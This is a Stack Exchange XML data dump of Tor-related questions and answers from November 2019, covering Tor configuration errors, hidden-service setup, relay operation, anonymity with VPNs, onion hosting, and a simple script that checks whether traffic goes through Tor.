  <row Id="20608" PostTypeId="2" ParentId="20576" CreationDate="2019-11-16T00:31:37.627" Score="3" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.eff.org/pages/playpen-cases-frequently-asked-questions&quot; rel=&quot;nofollow noreferrer&quot;&gt;this FAQ from the EFF&lt;/a&gt;, Freedom Host had a publicly visible IP address that allowed the FBI to physically seize their server:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In December 2014, the FBI received a tip from a foreign law&#xA;  enforcement agency that a Tor Hidden Service site called “Playpen” was&#xA;  hosting child pornography and that its actual IP address was publicly&#xA;  visible and appeared to resolve to a location within the United&#xA;  States. After some additional investigation, the FBI obtained a search&#xA;  warrant and seized the server hosting the site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21824" LastActivityDate="2019-11-16T00:31:37.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20609" PostTypeId="1" CreationDate="2019-11-16T11:31:24.510" Score="0" ViewCount="1629" Body="&lt;p&gt;How does Tor browser handle opening,&#xA;local files such as html pages &amp;amp; php&#xA;stored on my own computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;would it a) just open it directly from my pc hard-drive. or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) re-route it via several other third parties,&#xA;only curious to know because i just wanted to see how some stylesheets and pages i made&#xA;would be rendered in tor (pressumable exactly the same as firefox). then it made me think, how it would handle or go about serving them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas, just out of curiosity.&lt;/p&gt;&#xA;" OwnerUserId="28168" LastActivityDate="2019-11-17T13:53:05.957" Title="viewing files on local machine via tor browser" Tags="|windows|firefox|browsers|website|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20610" PostTypeId="2" ParentId="20609" CreationDate="2019-11-17T13:53:05.957" Score="1" Body="&lt;p&gt;This is probably going to be based more on how your OS works but I will try to answer the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the easy one.  In Firefox or any other normal browser, you can go to file:/// to browse your local filesystem.  This function is not available in Tor Browser if you don't have access to the / directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Access to the file was denied&#xA;&#xA;The file at / is not readable.&#xA;&#xA;    It may have been removed, moved, or file permissions may be preventing access.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that said, if you know the specific path of a local file or directory where you do have access, you can open it with Tor Browser.  So from the address bar, if I type: file:///home/user/, it will open and browser that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, if I manually run ./start-tor-browser /home/user/index.html it will open it also.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-17T13:53:05.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20611" PostTypeId="2" ParentId="20454" CreationDate="2019-11-17T18:43:54.033" Score="0" Body="&lt;p&gt;1) yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Depends on your ISP and Country&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You could route your traffic through an additional vpn which would make it impossible for your ISP to see that you are connecting to tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) No&lt;/p&gt;&#xA;" OwnerUserId="28172" LastActivityDate="2019-11-17T18:43:54.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20612" PostTypeId="1" CreationDate="2019-11-18T07:56:01.960" Score="0" ViewCount="147" Body="&lt;p&gt;Configuration file torrc &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User root&#xA;PidFile /opt/var/run/tor.pid&#xA;#Log info file /opt/var/log/tor.log&#xA;Log notice file /opt/var/log/tor.log&#xA;ExcludeExitNodes {RU},{UA},{AM},{KG},{BY}&#xA;StrictNodes 1&#xA;TransPort 192.168.97.97:9151&#xA;TransPort [::]:9151&#xA;ExitRelay 0&#xA;GeoIPFile /opt/share/tor/geoip&#xA;GeoIPv6File /opt/share/tor/geoip6&#xA;DataDirectory /opt/var/lib/tor&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;VirtualAddrNetworkIPv6 [fc00::]/7&#xA;DNSPort 127.0.0.1:9153&#xA;DNSPort [::1]:9153&#xA;AutomapHostsOnResolve 1&#xA;ClientUseIPv4 0&#xA;ClientUseIPv6 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I start &lt;code&gt;curl -6 -v http://www.flibustahezeous3.onion/&lt;/code&gt; and get an error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 18 01:04:06.000 [notice] Tor 0.4.1.6 opening new log file.&#xA;Nov 18 01:04:06.589 [notice] Tor 0.4.1.6 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1d, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;&#xA;Nov 18 01:08:27.257 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Nov 18 01:08:27.257 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Nov 18 01:08:27.257 [notice] Opening DNS listener on 127.0.0.1:9153&#xA;Nov 18 01:08:27.257 [notice] Opened DNS listener on 127.0.0.1:9153&#xA;Nov 18 01:08:27.257 [notice] Opening DNS listener on [::1]:9153&#xA;Nov 18 01:08:27.257 [notice] Opened DNS listener on [::1]:9153&#xA;Nov 18 01:08:27.257 [notice] Opening Transparent pf/netfilter listener on 192.168.97.97:9151&#xA;Nov 18 01:08:27.257 [notice] Opened Transparent pf/netfilter listener on 192.168.97.97:9151&#xA;Nov 18 01:08:27.257 [notice] Opening Transparent pf/netfilter listener on [::]:9151&#xA;Nov 18 01:08:27.257 [notice] Opened Transparent pf/netfilter listener on [::]:9151&#xA;Nov 18 01:08:38.000 [notice] Bootstrapped 100% (done): Done&#xA;&#xA;Nov 18 10:23:58.000 [warn] destination_from_socket(): Bug: Received transparent data from an unsuported socket family 10 (on Tor 0.4.1.6 )&#xA;Nov 18 10:23:58.000 [warn] Fetching original destination failed. Closing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to fix?&lt;/p&gt;&#xA;" OwnerUserId="28175" LastActivityDate="2022-04-08T09:07:35.703" Title="Tor transparent IPv6 destination_from_socket(): Bug" Tags="|transparent-proxy|ipv6|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20613" PostTypeId="2" ParentId="20612" CreationDate="2019-11-20T02:28:41.933" Score="0" Body="&lt;p&gt;It looks like your Tor binary wasn't built with &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/core/or/connection_edge.c#n2572&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TRANS_NETFILTER_IPV6&lt;/code&gt; defined&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-20T02:28:41.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20615" PostTypeId="1" AcceptedAnswerId="20617" CreationDate="2019-11-21T06:37:06.160" Score="0" ViewCount="669" Body="&lt;h2&gt;Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Accepting incoming connections over Tor through the Tor proxy. I'm developing a socks client in rust for tokio tcp streams. Like &lt;a href=&quot;https://crates.io/crates/tokio-socks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crates.io/crates/tokio-socks&lt;/a&gt; but with upgraded libraries and support for resolving onion addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor proxy does not support the SOCKS BIND command. However, I know it's possible to accept incoming requests through the proxy because zeroMQ does it (on a high level by setting the SOCKS proxy, and &quot;binding&quot; to an onion address). &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Figuring out the protocol&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The SOCKS CONNECT and BIND protocols are implemented and work (using 3proxy to test). When it comes to tor (which doesn't have BIND), this is currently where I'm stuck:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Authentication method selection &lt;code&gt;[0x05, 0x01, 0x00]&lt;/code&gt; or &lt;code&gt;[0x05, 0x02, 0x00, 0x02]&lt;/code&gt; ([version], [nmethods], [methods...])&lt;/li&gt;&#xA;&lt;li&gt;Receive the accepted auth  method (so &lt;code&gt;[0x05, 0x00]&lt;/code&gt; No auth)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's where I'm not sure. I need the socks protocol to notify me when someone connects to the hidden service. So far, I don't receive anything from the socks proxy when attempting to connect to the hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor proxy only supports CONNECT and the tor extensions RESOLVE and RESOLVE_PTR. I tried to CONNECT to the hidden service first (maybe to &quot;register&quot;?) but that, as expected, returns a SOCKS error (HostUnreachable). Perhaps the tor proxy will send an OK(0x00) response when someone connects to the hidden service. So far, that appears not to be happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct protocol for &quot;listening&quot; for connections on a hidden service through the SOCKS proxy?  &lt;/p&gt;&#xA;" OwnerUserId="28198" LastEditorUserId="28198" LastEditDate="2019-11-21T07:53:47.973" LastActivityDate="2019-11-21T15:22:55.793" Title="SOCKS5 protocol: &quot;binding&quot; on a hidden service address" Tags="|onion-routing|socks|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20616" PostTypeId="1" AcceptedAnswerId="20623" CreationDate="2019-11-21T08:34:12.437" Score="0" ViewCount="1034" Body="&lt;p&gt;I have a windows PC connected to Mullvad VPN and a Kali Linux VM connected to Whonix Gateway.&#xA;If I start tor on the Kali to set up an .onion website..should I add another layer by connecting to a VPN on Kali as well, or is that set up anon enough?&#xA;Not trying to achieve anything specific; just wondering about the level of anonymity. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="28199" LastEditorUserId="28537" LastEditDate="2023-02-25T17:18:13.210" LastActivityDate="2023-02-25T17:18:13.210" Title="Combining Mullvad VPN, Kali Linux, and Whonix Gateway; what is the level on anonymity?" Tags="|configuration|anonymity|vpn|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20617" PostTypeId="2" ParentId="20615" CreationDate="2019-11-21T09:10:37.327" Score="0" Body="&lt;p&gt;So I'm obviously overthinking it ;) Your application must bind on the port forwarded by tor &lt;code&gt;HiddenServicePort 8080 127.0.0.1:5671&lt;/code&gt; and requests to the hidden service will end up there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus: &lt;del&gt;It appears that&lt;/del&gt; A hidden service can be created on-the-fly by communicating with the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor control port&lt;/a&gt; using the ADD_ONION command.&lt;/p&gt;&#xA;" OwnerUserId="28198" LastEditorUserId="28198" LastEditDate="2019-11-21T15:22:55.793" LastActivityDate="2019-11-21T15:22:55.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20618" PostTypeId="1" AcceptedAnswerId="20621" CreationDate="2019-11-21T12:26:59.657" Score="3" ViewCount="282" Body="&lt;p&gt;after long consideration I just made the decision to run a tor relay. Thinking of the Internet of my childhood in the  1990s. Installed on a fresh armbian stretch, edited some settings in /etc/tor/torrc and rebooted. Tor seems to be running fine according to /var/log /syslog and also has open (ESTABLISHED) connections to other relays showing after running &lt;code&gt;lsof -ni|grep tor&lt;/code&gt;. But....: when I try to run &lt;code&gt;$ tor&lt;/code&gt; or &lt;code&gt;# tor&lt;/code&gt; it gives me warnings and errors like these: &lt;code&gt;[warn] Could not bind to 0.0.0.0:9001: Address already in use. Is Tor already running?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, tor is already running. Top says so (user debian-tor). But why will the &lt;code&gt;tor&lt;/code&gt;command not be okay with this? I've read that this is because of the debian package I installed. How do I change this behaviour, i.e. set tor to use only one user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="28202" LastActivityDate="2019-11-28T20:26:55.877" Title="Confused with user running tor (Address already in use. Is Tor already running?)" Tags="|debian|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20619" PostTypeId="1" CreationDate="2019-11-21T15:55:10.730" Score="0" ViewCount="177" Body="&lt;p&gt;I am rather new to Tor and not sure if it is something I missed, or that I have done wrong. Almost every single onion site (90% of them) I try to access shows the error message &quot;Unable to connect&quot;.&lt;/p&gt;&#xA;" OwnerUserId="28204" LastActivityDate="2019-11-21T18:10:45.320" Title="onion sites not working" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2019-12-13T14:53:03.903" ContentLicense="CC BY-SA 4.0" />
  <row Id="20620" PostTypeId="2" ParentId="20619" CreationDate="2019-11-21T18:10:45.320" Score="1" Body="&lt;p&gt;This is 100% normal. Most onion services are run on personal computers and not on enterprise servers and are likely to go down as often as people turn off their computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an &lt;a href=&quot;https://archive.fosdem.org/2019/interviews/roger-dingledine/&quot; rel=&quot;nofollow noreferrer&quot;&gt;interview&lt;/a&gt; earlier this year, Roger Dingledine, one of the founders of Tor said: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;commercial companies like to inflate the size of the “dark web”,&#xA;  which is easy to do when they don’t define what they’re talking about.&#xA;  The reality is that &lt;strong&gt;there are only a few thousand websites available&#xA;  as Tor onion services currently&lt;/strong&gt;, which makes the “iceberg” metaphor&#xA;  about the huge dark unknown particularly misleading.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-21T18:10:45.320" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20621" PostTypeId="2" ParentId="20618" CreationDate="2019-11-21T18:26:16.693" Score="3" Body="&lt;p&gt;You Tor is running as a systemd service so trying to run a second instance manually won't work. If you run &quot;sudo systemctl stop tor&quot; then you can use the tor command because you've stopped the process from running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor command doesn't really do much except manually control the service. That would be best done by editing the torrc file and then restarting the service with &quot;sudo systemctl restart tor&quot;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-21T18:26:16.693" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20623" PostTypeId="2" ParentId="20616" CreationDate="2019-11-21T18:30:40.960" Score="2" Body="&lt;p&gt;The VPN will add little to nothing and possible even harm your anonymity. There is an entire &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; written on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will hear this over and over from the &lt;a href=&quot;https://support.torproject.org/faq/#faq-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor team&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Generally speaking, we don't recommend using a VPN with Tor unless&#xA;  you're an advanced user who knows how to configure both in a way that&#xA;  doesn't compromise your privacy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-21T18:30:40.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20627" PostTypeId="1" AcceptedAnswerId="20628" CreationDate="2019-11-22T20:30:22.187" Score="0" ViewCount="74" Body="&lt;p&gt;If I set my own relay (running in my LAN) as the SOCKS proxy (e.g. in my browser), does this mean this relay automatically functions as the guard/entry-relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edited for clarity&lt;/p&gt;&#xA;" OwnerUserId="28202" LastActivityDate="2019-11-22T21:13:28.380" Title="Is my proxy, which is a tor relay, my guard/entry-node?" Tags="|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20628" PostTypeId="2" ParentId="20627" CreationDate="2019-11-22T21:13:28.380" Score="1" Body="&lt;p&gt;If you relay has been upgraded to a guard node (this takes time to gain the trust of the network, enough bandwidth, speed, etc.) then it is possible that your relay &lt;em&gt;could&lt;/em&gt; be your guard but it's not guaranteed that it will be.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-22T21:13:28.380" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20629" PostTypeId="1" CreationDate="2019-11-23T05:49:04.313" Score="4" ViewCount="5942" Body="&lt;p&gt;Tor has many mechanisms for obfuscating its traffic to prevent packet inspection. The &quot;meek&quot; pluggable transport helps to hide this deep packet inspection and hide it as https traffic. (This works fine for outbound traffic). But the problem is that all the tor exit nodes are available through the TorDNSEL. So reverse proxies like cloudflare still easily blocks tor. (Inbound traffic being blocked here). How do i REALLY bypass any server i want (even if it means chaining tor with something else like a vpn)?&lt;/p&gt;&#xA;" OwnerUserId="13538" LastEditorUserId="13538" LastEditDate="2019-11-23T06:12:54.630" LastActivityDate="2019-11-23T16:50:13.017" Title="How to bypass sites that blocks tor?" Tags="|exit-relays|blocked|cloudflare|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20630" PostTypeId="2" ParentId="17961" CreationDate="2019-11-23T08:43:33.703" Score="1" Body="&lt;p&gt;DuckDuckGo is a search engine just like Google. Like Google, DuckDuckGo crawls the web and indexes it and gives you relevant results when you search using it. Unlike Google, DuckDuckGo does not track your activity. Hence, it is well liked by privacy conscious people, for example people who use tor. So that's why the Tor Browser creators selected it as the default search engine instead of Google.&lt;/p&gt;&#xA;" OwnerUserId="28114" LastEditorUserId="28114" LastEditDate="2019-11-24T01:11:20.493" LastActivityDate="2019-11-24T01:11:20.493" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20631" PostTypeId="2" ParentId="20629" CreationDate="2019-11-23T16:50:13.017" Score="3" Body="&lt;p&gt;As far as I know this is not possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All tor relay UP addresses are publicly available, including exit ones. Any webmasters that choose to block them can, in fact Tor Project operates a dedicated list for this purpose. Cloudflare also provides an option for sites using their services to block Tor traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Webmasters sometimes block for security purposes (some people do use the Tor network illegitimately, and there is the stereotype that Tor is only for illegal purposes) or occasionally because they cannot appropriately track you for various reasons. Either way, there is zero you can do to get around this, besides maybe politely ask the website owner to unblock Tor users&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as far your suggestions of using a VPN with Tor, this is a &lt;strong&gt;very&lt;/strong&gt; bad idea and the docs recommend against it&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-11-23T16:50:13.017" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20632" PostTypeId="1" CreationDate="2019-11-24T01:22:50.827" Score="2" ViewCount="497" Body="&lt;p&gt;My understanding is that if I connect to an Onion Service the connection forms in the following way: My Computer -&gt; My Entry Node (1) -&gt; My Middle Node (2) -&gt; My Exit Node (3) -&gt; Rendezvous Point (4) &amp;lt;- OS's Exit Node (5) &amp;lt;- OS's Middle Node (6) &amp;lt;- OS's Entry Node (7) &amp;lt;- Onion Service's Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like 7 connections is unnecessary in terms of security and just makes the connection slower. Once the two meet at the rendezvous point, why not form a connect with 3 nodes in between them? What security benefit is 7 nodes providing over 3?&lt;/p&gt;&#xA;" OwnerUserId="28114" LastActivityDate="2019-11-25T12:41:27.947" Title="Are 7 hops really necessary when connecting to an Onion Service?" Tags="|tor-browser-bundle|onion-services|onion-routing|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20633" PostTypeId="2" ParentId="20616" CreationDate="2019-11-24T02:01:41.917" Score="0" Body="&lt;p&gt;Do not use Kali. Kali is not secure at all. It's made to break security, not be secure itself. For starters, it runs in single-user mode by default.&lt;/p&gt;&#xA;" OwnerUserId="28114" LastActivityDate="2019-11-24T02:01:41.917" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20634" PostTypeId="1" AcceptedAnswerId="20683" CreationDate="2019-11-24T06:27:17.187" Score="0" ViewCount="5790" Body="&lt;p&gt;Some say that it is not very difficult to find the real IP of a onion website if you are a decent enough Networking Professional. However, I don't think it is that easy. So, I am guessing the truth is somewhere in between. I understand that the server configuration plays an important part in this as well. So, if that is the case which configs of let's say Apache would need to be covered to maintain a fair degree of Anonymity?&lt;/p&gt;&#xA;" OwnerUserId="28199" LastActivityDate="2019-12-05T16:28:23.070" Title="How easy or difficult it is to find an .onion website's real IP?" Tags="|configuration|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20635" PostTypeId="2" ParentId="20632" CreationDate="2019-11-24T08:48:13.717" Score="-1" Body="&lt;p&gt;It is inevitable that there will be some adversarial hosts in a network like Tor. Nation state actors, security researchers and others are running hosts with a variety of motives, but often with the primary goal of de-anonymizing either specific persons or just anyone. In a network of N intermediaries where your connection goes through M hosts, there is a 1/N chance of a connection starting with a specific host, 1/N-1 that the next host is another specific one, etc, making for a product from n=0 to M-1 of 1/N-n. I'm afraid I don't have the time to do the maths now (and I'll probably fudge it anyway), but you can see how making the path length longer makes it exponentially harder to control the entire path from a user to a host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#ChoosePathLength&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor FAQ&lt;/a&gt; has more on this.&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2019-11-24T09:02:46.913" LastActivityDate="2019-11-24T09:02:46.913" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20636" PostTypeId="1" AcceptedAnswerId="20643" CreationDate="2019-11-24T17:28:19.887" Score="0" ViewCount="571" Body="&lt;p&gt;I saw that tor has three layers of encryptions and, plus a VPN I set myself on my computer. How can someone trace back to my real IP? Is this completely anonymous?&lt;/p&gt;&#xA;" OwnerUserId="28222" LastActivityDate="2019-11-25T04:26:57.977" Title="Is Tor completely anonymous?" Tags="|anonymity|security|vpn|ip-address|encryption|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20637" PostTypeId="1" AcceptedAnswerId="20639" CreationDate="2019-11-24T17:37:54.170" Score="0" ViewCount="153" Body="&lt;p&gt;I see many people owning a onion site uses his own server (maybe just place the server in his home?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But traditionally for a regular non-onion site we usually buy hosting. Can I buy hosting for a onion site? Would it leak my privacy or anonymity?&lt;/p&gt;&#xA;" OwnerUserId="28222" LastActivityDate="2019-11-24T19:15:50.673" Title="Is there guarantee of privacy to buy onion hosting?" Tags="|anonymity|security|onion-routing|website|web-hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20639" PostTypeId="2" ParentId="20637" CreationDate="2019-11-24T19:15:50.673" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But traditionally for a regular non-onion site we usually buy hosting.&#xA;  Can I buy hosting for a onion site? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Absolutely! You can pay for a VPS or a managed server or even co-locate your own server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some things to keep in mind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a VPS, what will keep you provider from viewing what's in your storage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a managed server or you co-locate your own server, will the provider have access to the machine without your permission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your provider is sniffing packets, they can see that you are connected to the Tor network but they &lt;strong&gt;cannot&lt;/strong&gt; see who visits you or what you are doing unless they break into your VM or server. I genuinely believe that most don't care what you do as long as you don't break the terms of your agreement (like setting up an exit node) or it is determined that you are doing something highly illegal.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would it leak my privacy or anonymity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's on you. If you run a website that is insecure, uses lots of javascript or any other functionality that can be hacked or can give away your true IP, then you can harm your own anonymity. A good rule of thumb is to choose a website platform that has the least functionality required to do what you want but is also regularly patched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally run a wordpress blog onion site on my hosted mail server. I keep it patched. I don't use any extra plugins, and I don't give it out publicly. Does my provider know that I run it? I seriously doubt it. Would they care? Probably not unless the laws change in the country where it is hosted saying that onion services are illegal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, your question is, &quot;is there guarantee of privacy to buy onion hosting?&quot;.  &lt;strong&gt;No. There is never any guarantee at all.&lt;/strong&gt; They best you can do is understand how Tor and web security works and work from there. Sorry I can't give an easy positive answer because there isn't one.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-24T19:15:50.673" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20640" PostTypeId="2" ParentId="20634" CreationDate="2019-11-24T22:56:44.143" Score="1" Body="&lt;p&gt;If the configuration and operation of an onion service is done &quot;properly&quot;, then it is extremely difficult, and requires very significant resources, to determine that onion site's IP address and network/physical location.  The configuration of the web server is only one small part of the picture of ensuring the anonymity of an onion service, and providing sufficient detail for a non-trivial example is far beyond what is suitable for a Q&amp;amp;A site, however the &quot;Operational security&quot; section of the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-onion-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor onion service setup guide&lt;/a&gt; provides useful information, and links to more detailed advice, which will be of use.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-24T22:56:44.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20641" PostTypeId="1" CreationDate="2019-11-24T23:21:28.977" Score="2" ViewCount="86" Body="&lt;p&gt;ought I follow the instructions given or would I need to anything differently? currently using macOS 10.15.1, i.e. the latest version of Catalina. &lt;/p&gt;&#xA;" OwnerUserId="28224" LastActivityDate="2019-11-24T23:21:28.977" Title="have instructions on installing Tails via Mojave -- what about Catalina?" Tags="|tails|mac|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20642" PostTypeId="2" ParentId="20632" CreationDate="2019-11-24T23:35:36.920" Score="1" Body="&lt;p&gt;Onion services require seven hops because it is important that nobody, not even the rendezvous point, is able to deanonymise either the client or service, even in the presence of adversaries controlling any one point.  The three-hops-from-client-to-service design you hypothesise cannot, by currently-known methods, be made secure for both client and service if the other end turns out to be malicious.  One end needs to provide too much information to the other to establish the circuit, and thus can be deanonymised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think you have a design which could achieve the necessary feat, feel free to write it up and propose it.  You'll either learn a lot by people poking holes in it, or else you'll make an extremely valuable contribution to the anonymity research community.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-24T23:35:36.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20643" PostTypeId="2" ParentId="20636" CreationDate="2019-11-24T23:38:03.460" Score="5" Body="&lt;p&gt;This setup may, or may not, be completely anonymous, depending on a whole bunch of factors, some extremely subtle.  Adding a VPN to Tor basically never improves anonymity, though.  Exactly how someone would trace you back to your real IP is in many cases more about how you use Tor, than Tor itself.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-24T23:38:03.460" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20646" PostTypeId="2" ParentId="20521" CreationDate="2019-11-25T14:49:42.990" Score="2" Body="&lt;p&gt;Why do you think it would change at any moment? I'm too searching for short/comfortable json-like-way. But, for the first time, I do not think that plain/html - is high-resources or would be changed too often or smthng...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; contains very clean text, if you are using tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1 class=&quot;not&quot;&amp;gt;&#xA;&#xA;      Congratulations. This browser is configured to use Tor.&#xA;&#xA;  &amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, even simple bash script could give you 0/1 as out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#/bin/bash&#xA;url=&quot;https://check.torproject.org/&quot;&#xA;pattern=&quot;Congratulations. This browser is configured to use Tor.&quot;&#xA;&#xA;result=&quot;$(torsocks wget -O - &quot;${url}&quot; 2&amp;gt;&amp;amp;1 | grep &quot;${pattern}&quot;)&quot;&#xA;&#xA;[ ! -z &quot;${result}&quot; ] &amp;amp;&amp;amp; echo 1 || echo 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28229" LastActivityDate="2019-11-25T14:49:42.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
